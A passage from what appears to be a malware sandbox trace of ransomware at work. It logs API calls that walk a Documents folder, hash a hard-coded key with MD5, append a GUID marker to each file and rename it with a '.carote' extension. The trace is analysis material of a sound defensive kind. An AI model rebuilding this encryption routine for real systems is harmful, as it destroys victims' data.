lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.571] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\") returned="BXteOBXIuKySqXgo0\\" [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.571] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.571] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.571] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.571] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.571] PathFindFileNameW (pszPath="") returned="" [0112.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.571] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc451380, ftCreationTime.dwHighDateTime=0x1d4d55f, ftLastAccessTime.dwLowDateTime=0xc5da80f0, ftLastAccessTime.dwHighDateTime=0x1d4cfa2, ftLastWriteTime.dwLowDateTime=0xc5da80f0, ftLastWriteTime.dwHighDateTime=0x1d4cfa2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.572] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc451380, ftCreationTime.dwHighDateTime=0x1d4d55f, ftLastAccessTime.dwLowDateTime=0xc5da80f0, ftLastAccessTime.dwHighDateTime=0x1d4cfa2, ftLastWriteTime.dwLowDateTime=0xc5da80f0, ftLastWriteTime.dwHighDateTime=0x1d4cfa2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.572] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ab8ad0, ftCreationTime.dwHighDateTime=0x1d4d06a, ftLastAccessTime.dwLowDateTime=0x88f5cdf0, ftLastAccessTime.dwHighDateTime=0x1d4c6f3, ftLastWriteTime.dwLowDateTime=0x88f5cdf0, ftLastWriteTime.dwHighDateTime=0x1d4c6f3, nFileSizeHigh=0x0, nFileSizeLow=0x13549, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7 dXcVMStPKkVLbTfdBI.ots", cAlternateFileName="7DXCVM~1.OTS")) returned 1 [0112.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0112.572] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\7 dXcVMStPKkVLbTfdBI.ots") returned=".ots" [0112.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\7 dXcVMStPKkVLbTfdBI.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\7 dxcvmstpkkvlbtfdbi.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.573] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=79177) returned 1 [0112.573] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.575] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13523, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.575] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.576] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x13549, lpOverlapped=0x0) returned 1 [0112.577] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.577] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.577] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.577] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.577] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0112.578] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.578] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.578] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.578] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.578] GetLastError () returned 0x0 [0112.578] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.578] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0112.579] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13549, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.579] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.579] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.579] CloseHandle (hObject=0x61c) returned 1 [0112.581] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\7 dXcVMStPKkVLbTfdBI.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\7 dxcvmstpkkvlbtfdbi.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\7 dXcVMStPKkVLbTfdBI.ots.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\7 dxcvmstpkkvlbtfdbi.ots.carote")) returned 1 [0112.582] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7aeffb40, ftCreationTime.dwHighDateTime=0x1d4d288, ftLastAccessTime.dwLowDateTime=0x414430a0, ftLastAccessTime.dwHighDateTime=0x1d4d233, ftLastWriteTime.dwLowDateTime=0x414430a0, ftLastWriteTime.dwHighDateTime=0x1d4d233, nFileSizeHigh=0x0, nFileSizeLow=0x185f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d5n1rI-2s-1o0b.ppt", cAlternateFileName="D5N1RI~1.PPT")) returned 1 [0112.582] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\d5n1rI-2s-1o0b.ppt") returned=".ppt" [0112.582] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\d5n1rI-2s-1o0b.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\d5n1ri-2s-1o0b.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.583] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=99830) returned 1 [0112.583] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.585] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x185d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.585] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.586] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x185f6, lpOverlapped=0x0) returned 1 [0112.587] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.587] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.587] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.587] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0112.588] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.588] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.588] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.588] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.588] GetLastError () returned 0x0 [0112.588] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.588] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0112.589] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x185f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.589] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.589] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.589] CloseHandle (hObject=0x61c) returned 1 [0112.590] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\d5n1rI-2s-1o0b.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\d5n1ri-2s-1o0b.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\d5n1rI-2s-1o0b.ppt.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\d5n1ri-2s-1o0b.ppt.carote")) returned 1 [0112.591] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cfd2450, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xba48a540, ftLastAccessTime.dwHighDateTime=0x1d4c940, ftLastWriteTime.dwLowDateTime=0xba48a540, ftLastWriteTime.dwHighDateTime=0x1d4c940, nFileSizeHigh=0x0, nFileSizeLow=0xe3a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KRmH1t.pps", cAlternateFileName="")) returned 1 [0112.591] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\KRmH1t.pps") returned=".pps" [0112.591] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\KRmH1t.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\krmh1t.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.592] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=58272) returned 1 [0112.592] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.593] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe37a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.593] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.595] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xe3a0, lpOverlapped=0x0) returned 1 [0112.596] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.596] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.596] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.596] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0112.596] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.596] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.596] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.596] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.597] GetLastError () returned 0x0 [0112.597] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.597] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0112.597] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe3a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.597] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.597] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.597] CloseHandle (hObject=0x61c) returned 1 [0112.598] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\KRmH1t.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\krmh1t.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\KRmH1t.pps.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\krmh1t.pps.carote")) returned 1 [0112.599] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e63ba0, ftCreationTime.dwHighDateTime=0x1d4d340, ftLastAccessTime.dwLowDateTime=0xae51b230, ftLastAccessTime.dwHighDateTime=0x1d4d4d1, ftLastWriteTime.dwLowDateTime=0xae51b230, ftLastWriteTime.dwHighDateTime=0x1d4d4d1, nFileSizeHigh=0x0, nFileSizeLow=0x21ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmoBqjYuc7dMqxVQYl.odt", cAlternateFileName="TMOBQJ~1.ODT")) returned 1 [0112.599] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\tmoBqjYuc7dMqxVQYl.odt") returned=".odt" [0112.599] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\tmoBqjYuc7dMqxVQYl.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\tmobqjyuc7dmqxvqyl.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.600] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=8703) returned 1 [0112.600] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.601] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x21d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.601] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.603] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x21ff, lpOverlapped=0x0) returned 1 [0112.603] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.603] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.603] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.603] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0112.604] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.604] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.604] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.604] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.604] GetLastError () returned 0x0 [0112.604] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.604] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0112.604] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x21ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.605] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.605] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.605] CloseHandle (hObject=0x61c) returned 1 [0112.605] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\tmoBqjYuc7dMqxVQYl.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\tmobqjyuc7dmqxvqyl.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\tmoBqjYuc7dMqxVQYl.odt.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\tmobqjyuc7dmqxvqyl.odt.carote")) returned 1 [0112.606] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d67b60, ftCreationTime.dwHighDateTime=0x1d4d2f8, ftLastAccessTime.dwLowDateTime=0xfe98a7f0, ftLastAccessTime.dwHighDateTime=0x1d4cd1d, ftLastWriteTime.dwLowDateTime=0xfe98a7f0, ftLastWriteTime.dwHighDateTime=0x1d4cd1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yc2hVUR2 YKnU", cAlternateFileName="YC2HVU~1")) returned 1 [0112.607] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d67b60, ftCreationTime.dwHighDateTime=0x1d4d2f8, ftLastAccessTime.dwLowDateTime=0xfe98a7f0, ftLastAccessTime.dwHighDateTime=0x1d4cd1d, ftLastWriteTime.dwLowDateTime=0xfe98a7f0, ftLastWriteTime.dwHighDateTime=0x1d4cd1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yc2hVUR2 YKnU", cAlternateFileName="YC2HVU~1")) returned 0 [0112.607] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.607] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.607] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.607] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\") returned="m8Ml-6lNM1 wULCS0yD\\" [0112.607] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.607] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.607] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.607] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.607] PathFindFileNameW (pszPath="") returned="" [0112.607] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 